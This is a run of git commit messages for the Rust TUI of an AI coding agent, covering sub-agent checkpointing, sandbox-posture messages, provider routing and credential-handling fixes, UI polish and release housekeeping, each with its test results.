- cargo fmt --check -p codewhale-tui: clean
- cargo test -p codewhale-tui --bin codewhale-tui -- turn_meta_block_stays
read_only_child_envelope parent_agent_surface: 4 passed; 0 failed
R4 (finish-operator 2026-08-02): the Fatal arm of the child request
path returned bare Err — no checkpoint, no transcript handle — so a
fatal provider error (auth revoked, invalid request) after N completed
steps stranded all of them. Dogfood lost a 141s scout this way. The
Interrupted arm one line below already knew how to preserve work; only
the classification differed.
Fatal failures now flow through the same checkpoint-and-park path as
transient exhaustion: continuable checkpoint with the full child
conversation, transcript handle, waiting_for_user projection, and a
reason prefixed 'fatal provider error:'. The one exception is a fatal
on the very first request (steps <= 1 — the counter increments before
the attempt): zero completed work still fails plainly, preserving the
existing terminal-sink fan-in contract.
No automatic retry is added — fatal stays fatal (3e1eb5246 kept auth
non-retryable); the change is that the work the error interrupts
survives for re-dispatch via the continuation handle.
Verification:
- cargo fmt --check -p codewhale-tui: clean
- cargo test -p codewhale-tui --bin codewhale-tui -- subagent::tests:
363 passed; 0 failed — includes the new
fatal_provider_failure_mid_run_parks_a_continuable_checkpoint (banks
a real tool-call step against a mock provider, hits a 400 on the
next request, asserts the park + checkpoint, then re-dispatches from
the checkpoint against a healthy route and asserts completion) and
the unchanged non_retryable_provider_failure_fans_in_to_every_terminal_sink
W6 rest (morning-report issue #4): every agent start returned ~12KB —
the full child prompt via launch_manifest inside worker_record, a
duplicated snapshot, plus takeover/artifacts/verification structs that
are meaningless seconds after spawn. A spawn receipt's one job is
'child launched, here is how to check on it'.
action=start results now flow through compact_spawn_receipt: the
archive keys (snapshot, worker_record, checkpoint) and the
status-retrievable supervision detail (artifacts, takeover,
transcript_handle, verification) drop; identity, status, context_mode,
prefix_cache, follow_up, and the honest usage-at-spawn note stay,
with compact: true and a note naming both full-detail paths.
verbose: true on start restores the old shape byte-for-byte. Unscoped
status compaction (9fa5e04e6) is intentionally less aggressive — its
rows describe children with history.
Measured in the regression fixture: compact receipt 783B (<1KB target
met) vs 2448B for the same projection uncompacted — and the fixture
carries no launch manifest; with one, the delta is the ~12KB observed
in dogfood.
Verification:
- cargo fmt --check -p codewhale-tui: clean
- cargo test -p codewhale-tui --bin codewhale-tui -- subagent::tests:
362 passed; 0 failed (includes
spawn_receipt_compacts_and_verbose_restores_the_archive)
DGF-03 (dogfood 2026-08-02): Esc reports 'Turn interrupted' while
detached background shells keep running — files land on disk after the
UI said stopped, which read as a lie. Killing those jobs would be
wrong: background continuation is deliberate (614ef72a0 wakes an idle
goal exactly when such a job finishes). The fix is honesty, not
slaughter.
The two paths that can classify a turn Interrupted (the model turn
loop's completion and the composer-bang shell turn) now emit, right
before TurnComplete, a status naming each still-running background
job — id plus a bounded command preview — and stating the jobs
continue and may still write files, with /jobs as the follow-up.
Silent when nothing survives, so ordinary interrupts are unchanged.
Verification:
- cargo fmt --check -p codewhale-tui: clean
- cargo test -p codewhale-tui --bin codewhale-tui -- interrupted_turn_names
turn_metadata: 24 passed; 0 failed — includes the new
interrupted_turn_names_surviving_background_shell_jobs, which starts
a real background sleep-then-write job, fires the interrupt path,
and asserts the status names the surviving task id while the marker
file has not yet been written.
DGF-02 (dogfood 2026-08-02): a user-approved write was blocked by the
read-only execution sandbox, and the model — never told its own
posture — burned turns debugging the failure blind. Approval and
sandbox are separate authorities, and no surface said so.
Three surfaces, one resolver (core::authority::sandbox_policy_for_turn,
the same one tool execution uses, so the words and the enforcement
cannot disagree):
- <turn_meta> gains 'Current sandbox posture: <label>' next to the
permission posture line. Stable per session, so ordinary turns stay
byte-identical (preview parity covered by the existing snapshot
tests). SandboxPolicy::posture_label renders the deterministic label;
the read-only label states outright that tool approval cannot lift
the sandbox.
- shell results: when the sandbox denies a command (and the Plan-mode
network hint didn't already explain it), the result opens with a
hint naming the effective posture and saying approval does not lift
it — sandbox_denied_hint also lands in metadata. Both the foreground
and the delta/wait paths carry it.
- the approval gate: prompting for a shell-family tool while the batch
posture is read-only appends '…approving runs the command without
write access (approval cannot lift the sandbox)' to the approval
description, so the human sees the ceiling before granting.
Verification:
- cargo fmt --check -p codewhale-tui: clean
- cargo test -p codewhale-tui --bin codewhale-tui -- sandbox_denied_hint
posture_label turn_metadata_names sandbox: covered by the combined
run below (6 new tests all green)
- cargo test -p codewhale-tui --bin codewhale-tui -- turn_meta preview:
197 passed; 0 failed (byte-stability + preview parity intact)
DGF-01 (dogfood 2026-08-02): doctor's API Connectivity section and
`codewhale config list` presented the configured route as if it were
what a live session serves. A running session keeps the route it
resolved at launch, so after a config edit (or an override at launch)
the two can legitimately disagree — and the surfaces gave the reader no
way to know which truth they were looking at. The dogfood session
burned real time believing doctor's moonshot/k3 answer described a
session that was serving deepseek-v4-flash.
- doctor_api_target now resolves the model through the same resolver
the live client uses at session launch (route_runtime::
resolve_runtime_route), so saved provider models, alias
normalization, and Codex roster preference are reflected instead of
a re-derived config default; on resolution failure it falls back to
the raw configured model and says so (no error details printed —
same redaction stance as the JSON route report).
- human output gains an explicit scope line (configured route, applies
at launch; a running session keeps its launch-time route) and the
model line is suffixed "(resolved)" or "(configured; route
resolution unavailable)".
- doctor JSON gains route_scope=configured_at_launch and
model_resolution=resolved|configured_unresolved next to the existing
default_text_model field (old keys untouched).
- `config list` prints two #-comment header lines naming the file and
the configured-vs-live distinction; # keeps 'key = value' parsers
safe.
Verification:
- cargo fmt --check -p codewhale-tui -p codewhale-cli: clean
- cargo test -p codewhale-tui --bin codewhale-tui doctor:
99 passed; 0 failed (includes new
doctor_api_target_falls_back_to_configured_model_when_resolution_fails
and resolution asserts on the two endpoint tests)
- cargo test -p codewhale-cli config: 3 passed; 0 failed
One unscoped 'agent status' poll returned 203KB because every agent —
including live ones being polled repeatedly — carried its full session
projection: launch manifest with the complete child prompt, the worker
event ring, and any checkpointed message history (morning-report issue
#4). Supervision needs the top-level facts, not the archive.
Running children in the unscoped list now drop the snapshot,
worker_record, and checkpoint fields and carry compact: true plus a note
naming the two full-detail paths; identity, status, usage, follow-up,
takeover, artifacts, and verification all stay. Terminal agents keep the
full projection — fetching results is the point of a terminal row — and
verbose: true restores the old shape everywhere. Single-agent status is
unchanged, including its running-unchanged throttle.
Verified: subagent suite 516 green including the new compaction
regression (compact running row, full terminal row, verbose restore);
cargo fmt clean.
A scout died at 141 seconds because a DeepSeek response stream failed to
decode — the transient classifier's needle list covered headers, timeouts,
resets, and 5xx/429 wording but not body/decode failures, so the child
was classified Fatal on attempt one with zero retries and the parent had
to re-plan from a runtime event (morning-report issue #7).
Body-decode and truncated-response wording now classifies as transient:
'error decoding response body', the Chat API read/parse contexts, and
unexpected-EOF/incomplete-message phrasing. The existing bounded policy
applies unchanged — at most two same-prompt retries with 250ms backoff —
and auth-class failures stay fatal, pinned by the new classifier test.
Verified: subagent suite green; cargo fmt clean.
Four first-run papercuts from the morning report:
Trust dialog keys read 1/3/2. The number keys now mirror the footer's
reading order — 1 trusts, 2 continues without trusting, 3 quits (Y/U/N/
Esc unchanged) — with the footer, the Enter hint, and all fourteen
translated locales updated together so copy and handling cannot drift.
Deep workspace paths hard-split mid-component because ratatui's Wrap
breaks only at whitespace. The trust prompt now wraps its location line
at '/' boundaries with indented continuations, using the panel's real
inner width.
The header's proportional width split let a long workspace squeeze the
model identity to a meaningless 'deep…' at 120 cols. The model — a trust
fact — now keeps up to 14 columns before the workspace takes the rest.
The Operate composer greeted first-run users with 'Coordinate parallel
tasks...'; it now says what to type: 'Describe the goal — Codewhale
keeps working until it's done'.
Verified: onboarding 52, trust 69, localization 31, widgets 284, header
127 suites green; cargo fmt clean.
config.toml carried a plaintext OAuth-shaped token while a sibling entry
was properly [redacted] — mixed hygiene the doctor never mentioned. The
configuration section now scans the raw file for bearer-shaped values
(known credential prefixes, or long random strings under token/secret/
key-named entries) and warns with the key names only; values are never
echoed. Models, URLs, hex ids, and redacted entries stay quiet, proven
by unit tests.
Verified: doctor suite green; cargo fmt clean.
Subscription routes (Kimi for Coding, Codex OAuth, Z.ai plans) have no
dollar truth: the metering audit correctly refuses to price them, but the
footer then dropped the Allowance chip entirely, so plan users saw either
nothing or — with stale unaudited session estimates — misleading dollars
elsewhere in the session. The cost slot now renders the existing
plan-aware usage line ('usage: Kimi Code quota · 12%') for Allowance
chips; metered routes keep their audited dollars and the cache-savings
suffix. The stale-dollar guard test now asserts the honest contract:
no '$' on a plan route, plan label visible.
Verified: footer 105 and route_billing 48 suites green; cargo fmt clean.
Two operate-loop truths from the morning report and captains-log #12:
Continuation after internal events — sub-agent completions already wake
the idle engine, but background shell completion is pull-only: nothing
re-entered the turn loop when a job finished, so an active goal waiting
on background work sat inert until the user re-prompted. The idle receive
now arms a coarse 750ms poll only while a goal is active and an
unclaimed background completion may exist (reusing the manager's
read-only pending signal), and on readiness queues a normal goal
continuation. The continuation dispatch path already re-reads live goal
state — pause/budget/clear all still win — and handle_send_message's
boundary drain claims the evidence exactly as a user turn would. Without
an active goal nothing changes: completions keep waiting for the next
user-initiated turn, proven by the disarmed-timeout regression.
Goal visibility — the sidebar goal banner dies with a hidden sidebar, so
a set goal was invisible chrome-wide. The footer now carries an
unconditional goal chip beside the shell chip: truncated objective plus
the continuation pass while hunting, and an explicit 'goal paused' state
so a stalled loop is never silent. Terminal verdicts clear the chip.
Verified: cargo fmt clean; new wake regression passes (including the
no-goal disarmed case); goal 89, footer 105, shell 270 suites green.
Two coupled ambient-motion defects (captains-log #16, owner report):
Idle never settled — the empty-water home screen qualified for ambient
animation frames unconditionally, so a fully idle session repainted the
ocean forever (33 frame diffs in 14s at the home screen). The animation
wake block now tracks an idle anchor: when nothing is live (no turn, no
running sub-agents, no queued/running/waiting durable tasks, completion
exhale finished, not loading, not browsing history) the aquarium gets six
seconds of gentle motion and then stops requesting frames entirely — a
genuinely still scene until real activity clears the anchor.
Creatures teleported at high token throughput — positions are pure
functions of an elapsed-ms clock, but that clock was raw wall time
sampled whenever a draw happened to land. Fast streams produce sparse,
irregular draws, so consecutive frames sampled the scene seconds apart
and fish jumped across the gap. Draws now advance a dedicated ambient
clock by real elapsed time clamped to 160ms per frame: bursty schedules
slow the scene down smoothly instead of teleporting it, and waking from
the settled state resumes from the exact pose it stilled in.
The reduced-motion freeze test drives the sampled clock directly so it
still proves a 9-second clock jump renders identical frames under
low_motion.
Verified: cargo fmt clean; new clamp + idle-settle unit tests pass;
tui::widgets 284, tui::ui 690, underwater 34, ocean 26 — all green.
Prose observation records any token that looks like a path, so the
per-turn <turn_meta> Active-paths list could assert entries like
'Hmbown/CodeWhale (file)' or '120x40 (file)' that never existed on disk —
teaching the model workspace facts it then spends paid turns disproving
(morning-report issue #5, captains-log turn_meta fabrication).
summary_block now re-stats each candidate against the workspace at render
time: entries that fail the stat never render, files deleted mid-session
fall out on the next turn, and the (file|dir) kind comes from the fresh
metadata instead of the sticky observation-time flag. Bytes only change
when the filesystem genuinely changed, which is the same exception the
#280 byte-stability contract already makes for newly observed paths; the
/preview-request parity path shares this code. The turn-meta-diet
worktree needs no reconciliation — its content already landed on the
train as bddceb044.
Verified: cargo fmt clean; working_set suite 46 passed (incl. the new
stat-verify regression), turn_metadata 22 passed, preview parity 165
passed.
A run whose parallel() slots all failed VM-level validation reported
'status: Completed' with a [null, ...] result, because task() options that
fail parsing throw before the driver ever sees a dispatch — the #5035
guard only counted driver-side rejections, and its ledger stayed empty.
The VM now emits ProgressEvent::TaskRejected for every pre-spawn refusal
(malformed options, bad responseSchema, lifetime cap, exhausted budget)
with a best-effort label/phase from the raw options; the TUI driver folds
those into the same dispatch-failure ledger as spawn rejections. Run
completion classifies against that ledger plus per-task terminal records:
all slots dropped with no child is Failed, and a run that returned output
while any slot failed or was rejected is the new Degraded status — output
preserved, error naming the dropped slots, never a plain Completed. The
declarative partial-failure test that asserted 'completed' now asserts the
honest contract.
task() also stops rejecting schemas that the sibling agent tool accepts:
workspace_policy ('shared' | 'worktree') folds into worktree isolation,
and every multi-word option takes its snake_case spelling as an alias.
Unknown fields still fail loudly.
Verified: cargo fmt clean; codewhale-workflow-js vm_tests 51 passed;
codewhale-tui tools::workflow 95 passed (incl. new vm-rejection and
degraded regressions); full tui bin suite 9567 passed with only the two
pre-existing credential_scope environment failures, reproduced unchanged
on the clean base commit.
Removes the retired v0868-stopship fleet roster, the v0867 setup QA script,
and the three v0867 constitution evidence docs, none of which anything on
the train references anymore (rg-verified; the only inbound link was
docs/CONFIGURATION.md, updated here). Trims the dead v0868-stopship alias
from the stopship role-validation guard in crates/cli/src/lib.rs, drops the
retired /slop and /canzha aliases from the command-dispatch architecture
doc, and removes the deleted crates/tui/src/slop_ledger.rs path from
source-structure-budget.json. The v0868_ name-guard regression test stays
by design.
Verified: cargo fmt clean, cargo test -p codewhale-cli --lib (204 passed),
source-structure-budget.json still valid JSON.
Keep authority, current user intent, authorization gates, truthfulness, verified completion, mechanism, and exact precedence eager. Move procedural detail to mode/action/skill boundaries, lock first-turn invariants and skill homes with tests, document measured Pi parity, and surface warning-only skill discovery.
Start the action-local relay template at the required artifact title and keep the acceptance contract focused on user-visible structure.
Refresh the provider-free runtime receipt for the intentional first-turn load_skill activation while locking in the smaller prompt measurements.
The flake compiled cleanly but always failed in the cargo check phase:
test binaries could not load libdbus at runtime, and a further batch of
sandbox-environment tests failed. Fix the check environment and harness
so `nix build` passes end-to-end.
- preCheck exports LD_LIBRARY_PATH (dbus/gcc libs); nixpkgs no longer
derives it from buildInputs and autoPatchelfHook only runs at fixup
- preCheck points HOME at a writable mktemp dir (sandbox HOME is not
writable, breaking config/secret tests)
- procps is a Linux nativeCheckInput so the fleet ps-based memory/zombie
sampling works on NixOS
- checkPhase builds harnesses with --no-run, patches an explicit RPATH
into the deps executables (fleet/shell tests re-exec the harness with a
scrubbed environment), then runs tests
- RUST_TEST_THREADS=1: tests mutate process-global PATH/HOME/cwd via
EnvVarGuard, and a concurrent shell spawn can fail to resolve the
interpreter; serial execution makes the check deterministic
- skip two tests that cannot run in the Nix sandbox: the git-repo-root
test needs the source tree to be a git repo, and the underwater header
width table is calibrated against checkout git chrome
Verified with `nix build '.#packages.x86_64-linux.default'`: cli 186
passed, tui 9491 passed / 0 failed (2 filtered), auto-patchelf reports 0
unsatisfied dependencies.
(cherry picked from commit f7f5559da3741bbd98adc70a7dfd8816a6d327d0)
Signed-off-by: Hmbown <101357273+Hmbown@users.noreply.github.com>
Let the runtime tasks API filter results by workspace so GUI consumers can request only the tasks that belong to the active project. Include the workspace on task summaries and cover the new filtering path with a regression test.
(cherry picked from commit 63b26a82a13e5ed82502508fdcaa809e8a6bbf01)
Signed-off-by: Hmbown <101357273+Hmbown@users.noreply.github.com>
Use a dedicated development image so Cargo builds have the Rust toolchain, rustfmt, pkg-config, and DBus headers instead of inheriting the minimal release runtime.\n\nReplace the host HOME bind mount with named volumes for CodeWhale state and Cargo artifacts. This avoids invalid Windows HOME expansion, preserves non-root write access, and keeps Rust build churn off the workspace bind mount.\n\nDocument the Dev Container storage and rebuild behavior.\n\nVerification:\n- Built the Dev Container image with Docker Desktop\n- Verified non-root Cargo, Rust, Git, pkg-config, DBus discovery, and writable state/target paths\n- cargo build --locked\n- cargo test -p codewhale-config --locked
(cherry picked from commit 8b1ceea7f03394246fa86b9a23b7c75fe661dd46)
Signed-off-by: Hmbown <101357273+Hmbown@users.noreply.github.com>
Reserve omission notices from actual catalogue cardinality so the ambient skill index stays inside its runtime character cap even above 9,999 entries.
Track project-pack configuration on App for truthful pre-first-turn diagnostics, and label the always-injected environment block consistently.
The context report now uses the mode-and-plugin-aware renderers directly.
Limit older convenience wrappers to tests or remove them so the production
binary remains warning-free under the workspace CI clippy gate.
Keep project authority eager while bounding the ambient skills index and
retaining complete discovery through load_skill. Move the session relay
template onto the relay action instead of every fresh system prompt.
Make context diagnostics count the configured prompt rather than a disabled
project pack and approximate phantom layers, and pin the lazy boundaries with
provider-free tests.
Make non-test config-path helpers fallible instead of collapsing an invalid global override into an unset path. Propagate errors through persistence flows, fail workspace trust closed, and keep the original variable-specific error through first-run config creation.\n\nAddresses Copilot review feedback on #5075.
Return an actionable error that names the exact config path when the selected secret backend cannot snapshot or write a credential. Keep CLI and TUI config state unchanged and add regression coverage for both root and provider keys.\n\nAudited with the Grok CLI.
Make the shared path authority reject relative home and config environment overrides before they can be anchored to the working directory. Route TUI reads and writes through the same fallible config resolver so a missing override cannot read one file and later write another.
Add regression coverage for relative override errors and save/load path identity. Audited with the Grok CLI.
The collapsed workflow panel no longer pins a row above the composer; its
lifecycle/progress summary renders as a compact chip in the top status bar
after the agents chip. The expanded interactive panel (drill-in, phase
rows) keeps its place above the composer while running.
Closes#5040.
Agent-assisted: implemented and tested with Claude Code.
https://claude.ai/code/session_01AAEuFJrqcMqF1oztnjZeMy
Windows delivers AltGr as Ctrl+Alt, so AltGr+Q on ABNT2 (which types '/')
satisfied the bare CONTROL check in is_help_shortcut and opened help
instead of inserting the character. Ctrl-based help matches now reject
AltGr chords via the existing key_hint::is_altgr primitive; plain Ctrl+/
and the legacy Ctrl+7 / Ctrl+_ decodings keep working, as does deliberate
Ctrl+Alt on non-Windows platforms.
Thanks @nicolassmotta for the report and @yyyCode for the earlier PR
exploring this (PR #4977).
Closes#4723.
Agent-assisted: implemented and tested with Claude Code.
https://claude.ai/code/session_01AAEuFJrqcMqF1oztnjZeMy
Three coordinated session-layer fixes:
- Persisted session records now carry a creation-time instance marker
(mirroring the #405 subagent session_boot_id pattern); the work surface
excludes restored prior-instance rows in terminal failed/stale states
from the default listing, keeping them reachable in the inspector as
'prior session' (#4416).
- /cost decomposes the headline into parent-turn, sub-agent, and monotonic
display-floor components that provably sum to the headline, itemizes
routes from TurnCostAudit with honest ring coverage, and currency totals
are projections of one accumulator with an invariant test (#4939).
- Legacy pre-v0.8.54 sessions persisted the turn_meta envelope as the
leading block; the rehydration filter now hides a complete machine
envelope at any index while keeping user-authored literals visible
(#4681).
Refs #4416. Closes#4939. Closes#4681.
Agent-assisted: implemented and tested with Claude Code.
https://claude.ai/code/session_01AAEuFJrqcMqF1oztnjZeMy
With CODEWHALE_CONFIG_PATH (or the legacy var) pointing at a workspace's
.codewhale/config.toml, API keys, auth_mode markers, and oauth/external
credential pointers were written into that repo's plaintext file and were
invisible from every other repo. Credential writes now classify the
resolved config path and redirect to the user-global document when it is
workspace-scoped; an explicit CODEWHALE_HOME stays authoritative and
non-credential settings keep their current scoping.
Refs #5045 (secret-store unification and CWC parity remain open there).
Agent-assisted: implemented and tested with Claude Code.
https://claude.ai/code/session_01AAEuFJrqcMqF1oztnjZeMy
Workflow plan authoring now accepts and validates the Agent tool's full
sub-agent type vocabulary with the same error contract, and every dispatch
rejection in a parallel fan-out is recorded on the run (structured
dispatch-failure ledger, task_dispatch_failed event, progress line) instead
of silently nulling the slot; a fan-out whose every dispatch is rejected
fails the run.
Closes#5035.
Agent-assisted: implemented and tested with Claude Code.
https://claude.ai/code/session_01AAEuFJrqcMqF1oztnjZeMy
'open', 'osascript', and 'launchctl' exited -54 under seatbelt because the
base policy is (deny default) with no AppleEvents/LaunchServices
allowances. The trusted (full-disk-write) tier now appends appleevent-send,
lsopen, and pinned launchservicesd/appleevents mach-lookup names;
restrictive tiers stay locked down since AppleEvents automation can drive
other apps past write restrictions. danger-full-access already bypasses the
wrap entirely post-#5025. The trusted profile is parse-verified through
sandbox-exec in tests.
Closes#4828.
Agent-assisted: implemented and tested with Claude Code.
https://claude.ai/code/session_01AAEuFJrqcMqF1oztnjZeMy
Strict Anthropic-compatible gateways reject the non-standard adaptive
thinking control with 400 ('type' must be enabled/disabled/auto). Non-native
Messages routes now send {type: enabled, budget_tokens} with effort-tier
budgets; native api.anthropic.com, the exact MiniMax M3 route, and the
DeepSeek Messages provider keep adaptive (#4978).
A dangling assistant tool_use with no following tool_result (unavailable
tool + pre-dispatch failure) made every subsequent request 400 until the
session died. Request preparation now repairs orphans with an is_error
placeholder tool_result, synthesizing the user turn when none follows
(#5002).
Closes#4978. Closes#5002.
Agent-assisted: implemented and tested with Claude Code.
https://claude.ai/code/session_01AAEuFJrqcMqF1oztnjZeMy
Absorbs the lane's README.md changes into every locale: the
'codewhale account login' quickstart line (code blocks byte-identical to
English), the translated provider-vs-account authentication paragraph, the
docs/WORKFLOW_EXPERIMENTAL_SEARCH.md bullet, and the refreshed source
stamp (sha256:4d02e29bfb3a). check-readme-translations.py is clean.
No-Issue: mechanical translation sync for the release train (CI Lint gate).
Agent-assisted: translated per-locale with a Claude Code workflow fan-out.
https://claude.ai/code/session_01AAEuFJrqcMqF1oztnjZeMy
scripts/sync-changelog.sh after the v0.9.4 blocker-fix entries; fixes the
Version drift CI gate on #5044.
No-Issue: mechanical slice sync for the release train.
Agent-assisted: Claude Code.
https://claude.ai/code/session_01AAEuFJrqcMqF1oztnjZeMy
Switching to openai-codex with no saved model fell back to the static seed
constant (gpt-5.5) at two independent seams — Config::default_model's Codex
arm and the route resolver's default offering — so the session started on a
stale model even when a fresh Codex roster named a newer flagship (#5034).
Both seams now prefer the highest-priority entry of a FRESH Codex roster;
missing, stale, or invalid rosters keep the seed default, and an explicit
selector or saved provider model always wins. The pre-existing
openai_codex_default_model fallback test now isolates CODEX_HOME so it no
longer reads the developer's ambient roster.
Refs #5034 (broader saved-model validity gating across providers remains
open there).
Agent-assisted: diagnosed and implemented with Claude Code.
https://claude.ai/code/session_01AAEuFJrqcMqF1oztnjZeMy
Fleet/subagent dispatch built the child client before the profile model was
resolved, so a ModelAware provider (DeepSeek: pro=chat, flash=responses)
bound the provider-default protocol and every send from a flash-profiled
worker failed with 'uses Responses, but this client is bound to
ChatCompletions' (#5042).
After the final effective model is installed, dispatch now resolves it
through the same central route resolver the main session uses and rebuilds
the client from the resolved candidate when the protocol differs. A missing
config at that seam is a hard dispatch error naming the model and both
protocols — never a deferred first-send failure.
The partial-override surface (model_strength vs profile-pinned models) is
scoped separately in #5046.
Closes#5042.
Agent-assisted: diagnosed and implemented with Claude Code.
https://claude.ai/code/session_01AAEuFJrqcMqF1oztnjZeMy
The provider picker's readiness predicate only probed the secret store for
the currently active provider. Guided setup saves a verified key into the
store and deliberately unsets the plaintext api_key from config.toml, so
after any provider switch every other configured provider (e.g. Kimi via
Moonshot) rendered as unconfigured and forced key re-entry on each session,
even though the credential was saved all along (#5033).
has_api_key_for now also probes providers whose persisted
[providers.<name>] table carries an api-key auth mode — the marker the
secret-store save path itself writes — using a strictly read-only probe so
rendering the catalog never migrates a legacy store or opens a
write-capable backend. Probing stays bounded to explicitly configured
providers.
Closes#5033.
Agent-assisted: diagnosed and implemented with Claude Code.
https://claude.ai/code/session_01AAEuFJrqcMqF1oztnjZeMy
Activation hard-failed when providers.xai.oauth_credential_generation named
a generation file that no longer exists (interrupted revocation or external
cleanup). Only a successful login can rewrite the pointer, so the state was
self-locking: every attempt died in the mutate_config_document closure with
the generic "xAI login was not activated; provider configuration is
unchanged" message, 3/3 in dogfood (#5032).
- a valid pointer whose file is missing now degrades to a fresh credential
file (with a warning) instead of aborting; pointer validation and the
non-string rejection are unchanged, and post-commit cleanup of the stale
name remains a harmless no-op
- the TUI finalize error now prints the full error chain ({err:#}) so the
actual cause (path resolution, parse, store) is visible instead of only
the outermost context
Closes#5032.
Agent-assisted: diagnosed and implemented with Claude Code.
https://claude.ai/code/session_01AAEuFJrqcMqF1oztnjZeMy
Worktree-isolated fleet builders were forced through the per-workspace
delegated-coordination flock even though their mutations cannot touch the
shared checkout, and a failed acquisition was memoized for the life of the
process, so clearing a stale holder never unblocked dispatch (#5036).
- launch manifests now record worktree isolation truthfully instead of
hardcoding worktree=false; isolation requires a linked-worktree gitfile
outside the coordination workspace, erring toward shared
- preflight/registration require the process lock only for shared-workspace
write claims; an isolated registration without the lock stays in-memory
and leaves the durable ledger to the lock owner (persist-layer lock
checks are unchanged)
- lock acquisition retries on each use instead of replaying the first
failure; an flock is held on an open fd, so deleting the lock file was
never a recovery path
Also picks up a pending rustfmt fixup in the fleet roster tests.
Closes#5036.
Agent-assisted: diagnosed and implemented with Claude Code.
https://claude.ai/code/session_01AAEuFJrqcMqF1oztnjZeMy
Two fleet roster tests (config_member_overrides_built_in_and_extras_sort_
alphabetically and invalid_legacy_profile_does_not_hide_valid_scout_neighbor)
called FleetRoster::load() which pulls in personal agent profiles from
$CODEWHALE_HOME/agents/. On developer machines with personal profiles
installed, these override the expected Config/BuiltIn origins, causing
spurious test failures.
Fix: use load_with_personal_dir(..., None) to skip personal profile loading,
matching the isolation pattern already used by the sibling
model_overrides_use_lowercased_ids_and_only_explicit_models test.
Verified: both tests pass on this machine (which has ambient personal profiles).
The release lane's b0e947a5 was an older local predecessor of #5025
(fix(runtime): make permission posture live). Both created the identical
runtime_policy.rs; #5025 is the approved, CI-verified, merged version with
additional refinements (test_env_lock.rs, child_env.rs cleanup, live engine
authority propagation, Auto-Review reachability).
Conflicts in 3 files resolved by taking origin/main:
- runtime_threads.rs: only b0e947a5 touched it in the lane; #5025 supersedes
- runtime_threads/tests.rs: same
- runtime_api/tests.rs: doc-comment wording only; #5025's is more precise
cargo check -p codewhale-tui --all-targets --locked: PASS (1m 18s)
This reconciles the lane to current origin/main (48180d9). The lane is now
0 commits behind and N commits ahead of origin/main.
Route every slash-command automation receipt through typed locale messages, including translated status and detail labels across all complete packs.
Make bare delete read-only: it previews the redacted definition, recent runs, and exact history count, then emits a SHA-256 confirmation receipt bound to the complete definition and run-history snapshot. Wrong or stale receipts are no-ops; only an exact receipt can delete the definition and its history under the same manager lock.
Add focused parser, localization parity, redaction, preview no-op, stale receipt, and confirmed deletion coverage.
No-Issue: v0.9.4 release blocker.
Signed-off-by: Hmbown <101357273+Hmbown@users.noreply.github.com>
Scout and reviewer intentionally carry full shell posture so the bounded verification surface survives the runtime clamp. Keep the roster contract in sync while retaining read-only write authority and raw-shell denial.
Signed-off-by: Hmbown <101357273+Hmbown@users.noreply.github.com>
Keep the authored starter-pack matrix in bijection with the generation-9 bundle and make handoff's model+user invocation parser-visible. Remove the duplicate body-level invocation note so frontmatter remains the single machine-readable contract.
Signed-off-by: Hmbown <101357273+Hmbown@users.noreply.github.com>
Advance the install guide to the current v0.9.4 source candidate while keeping latest package and release instructions tied to published artifacts.
Keep candidate comparison links based on v0.9.3 and HEAD until a real v0.9.4 tag exists.
Signed-off-by: Hmbown <101357273+Hmbown@users.noreply.github.com>
Add the current release band to the canonical contributor record and keep the website credit arrays in exact changelog parity.
Replace the stale single-release @fleitz assertion with a data-driven contract over the candidate credit facts.
Signed-off-by: Hmbown <101357273+Hmbown@users.noreply.github.com>
Make /automation show a truthful inspect surface by rendering the stored prompt, working directories, execution mode, and authority overrides when present.
Strip terminal escapes and apply the shared secret redactor before display, while keeping /automation list compact.
No-Issue: v0.9.4 release-audit repair.
Signed-off-by: Hmbown <101357273+Hmbown@users.noreply.github.com>
Remove a single-element test loop so the v0.9.4 lane remains warning-free under the restored all-target clippy gate.
Signed-off-by: Hmbown <101357273+Hmbown@users.noreply.github.com>
Keep the stored refresh credential when account refresh fails without the control plane's terminal 401 verdict, including rate limits, service failures, transport errors, and edge policy responses. Continue clearing terminal sessions before asking the user to sign in again.
Make logout scrub obsolete-schema and wrong-origin records from the selected secure-store slot while leaving ordinary loads fail-closed and signed out. Cover both boundaries with focused account-client tests.
Signed-off-by: Hmbown <101357273+Hmbown@users.noreply.github.com>
Move the complete inline File tool test module into its own normally formatted test file. Production behavior and fixture bytes stay unchanged while the source-structure ratchet counts tests as tests.
Signed-off-by: Hmbown <101357273+Hmbown@users.noreply.github.com>
Make admission batching validate the public spec before chunking so invalid deserialized values fail instead of panicking. Reject absolute and parent-traversing worker write scopes across Unix and Windows spellings.
Signed-off-by: Hmbown <101357273+Hmbown@users.noreply.github.com>
Move the existing 25-test Responses suite behind an external tests.rs seam while keeping the same client::responses::tests module path. Runtime code is unchanged.
This lowers owned production Rust from 645404 to 644417 lines while preserving the DeepSeek, Codex, streaming, retry, usage, and tool-schema coverage.
Signed-off-by: Hmbown <101357273+Hmbown@users.noreply.github.com>
Date the v0.9.4 changelog, preserve contributor credit and unpublished-release truth, and synchronize every crate, npm, lockfile, smoke-test, and generated public-fact version surface. This prepares a source candidate only; it does not tag, publish, or create a release.
Signed-off-by: Hmbown <101357273+Hmbown@users.noreply.github.com>
Rebuild the stranded v0.9.4 command intent against the current registry and UI seams without replaying locale or monolith churn. Operators can list, inspect, pause, resume, delete, and run durable automations; creation remains on the approval-gated model tool.
Keep every shipped locale in raw-key parity and route the command through one typed UI action with focused parser, formatter, registry, help, and localization coverage.
No-Issue: product-owner v0.9.4 release recovery.
Signed-off-by: Hmbown <101357273+Hmbown@users.noreply.github.com>
(cherry picked from commit fdb21c82d79fa385da731b670108a772ce10197e)
Signed-off-by: Hmbown <101357273+Hmbown@users.noreply.github.com>
Replace stale release-number TODOs with the open issue identifiers that actually govern removal. This keeps the legacy path explicit without promising another arbitrary version rollover.
Signed-off-by: Hmbown <101357273+Hmbown@users.noreply.github.com>
Keep the shared secure account-session implementation intact while moving its inline tests beside cloud.rs. Do the same for bundled system-skill migration tests, so production modules own behavior and tests through explicit seams without making test bodies part of the production source budget.
Owned production Rust falls from 648531 to 647385 lines (net -1146). cloud.rs is 991 lines and skills/system.rs is 515; their unchanged test suites are 652 and 489 lines. No source-structure budget value changes.
Verified with the full 200-test CLI library suite, all 21 bundled-system-skill tests, strict CLI clippy, strict TUI all-target clippy modulo four pre-existing unrelated lints, CLI/TUI all-target checks, formatting, source-structure budget, and diff checks.
Signed-off-by: Hmbown <101357273+Hmbown@users.noreply.github.com>
(cherry picked from commit e0918d132f4bc28121ad556e0125cb622db6a62d)
Signed-off-by: Hmbown <101357273+Hmbown@users.noreply.github.com>
